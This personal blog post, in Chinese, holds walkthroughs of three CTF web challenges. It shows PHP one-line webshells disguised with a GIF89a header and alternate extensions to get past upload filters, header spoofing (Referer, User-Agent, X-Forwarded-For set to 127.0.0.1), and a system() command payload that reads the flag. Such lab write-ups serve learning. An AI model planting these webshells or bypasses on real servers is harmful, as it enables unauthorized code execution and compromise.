x2658y's Blog

杂七杂八的记事本

进去就是个文件选择框, 先上传个头像上去看看, 用BP抓包

image-20211101161653416
image-20211101161704616

正常上传, 下面我们新建个test.php一句话木马文件并上传试试

1
<?php @eval($_REQUEST["shell"]) ?>
image-20211101172102928
image-20211031211321256

显然是不行的, 被识别出来了, 用BP抓包改Content-Typeimage/jpeg看看能不能骗过去

image-20211031220038474

错误提示变了,但还是传不上去, 推测可能是文件后缀检测, 可以采用其他后缀绕过, 常见的后缀有php*(如php2, php3), pht, phtm, phtml, phps

我们试试把后缀改成phtml试试

注意: 有的后缀即使上传上去了也不能被执行, 取决于服务端配置

image-20211031222954778

错误变了, 说明改后缀是对的, 但是这次又遇到新的检测. 让代码里不包含<?, 只需要换个形式的一句话木马即可:

1
<script langage="php">@eval(@_REQUEST);</script>
image-20211031223351820

错误又变了, 被检测到不是图像文件, 检测文件类型很有可能根据文件头了, 我们试着给一句话木马加上一个图像文件的文件头绕过检测

常见的图片文件头

  • JPG :FF D8 FF E0 00 10 4A 46 49 46
  • GIF(相当于文本的GIF89a):47 49 46 38 39 61
  • PNG: 89 50 4E 47
1
2
GIF89a
<script language="php">@eval($_REQUEST["shell"]);</script>

GIF的文件头最容易添加, 所以这里我们采用它, 其他文件的文件头要利用010 Editor这种十六进制编辑器来进行操作, 不方便

image-20211101163042319

一句话木马成功上传了上去, 猜测上传的文件放在upload文件夹中, 试着访问一下执行个指令

image-20211101163250245

成功执行, 接下来为了方便操作, 省去手工使用指令的麻烦, 使用中国菜刀中国蚁剑之类的软件连接webshell, 这里我使用中国蚁剑.

image-20211101163537861

成功连接, 接下来我们只需要找到flag即可, 通过翻查文件目录, 发现flag文件就在根目录

image-20211101163731288

任务完成~

进去之后, 按照惯例, 先查看源代码

image-20211031133550064

找到Secret.php这个页面, 进入

image-20211031133804874

看提示, 应该是Referer请求头检测, 判断从哪个网站跳转过来的, 上Fiddler

image-20211031134521678

Referer伪装好了, 又提示使用"Syclover"浏览器, 那么这次就是判断浏览器UA了, 我们把UA改成"Syclover"试试

image-20211031134743341

错误又变了, 这次说只能从本地访问, 根据前面的几次经验,这次应该还是判断请求头. 我们要找的那个请求头里肯定记录着请求发起方的IP, 我们只需要将IP改成本地环回地址127.0.0.1即可

经过一番查找, X-Forwarded-For这个记录着从源主机到经过的所有代理服务器IP,中间以逗号分隔. 为了方便, 我们只需要将其指定为127.0.0.1即可

image-20211031135902592

这样, 我们就拿到了flag~

参考资料

看页面提示, 就是个POST提交参数的webshell

image-20211031130415463

在源码里可以找到输出结果, 然后就是传统艺能, 到根目录去看看都有啥好玩意儿

image-20211031133142800

flag就在这里了

1
Syc=system("cd ../../../../../;ls -la;cat flag");
image-20211031133328805
0%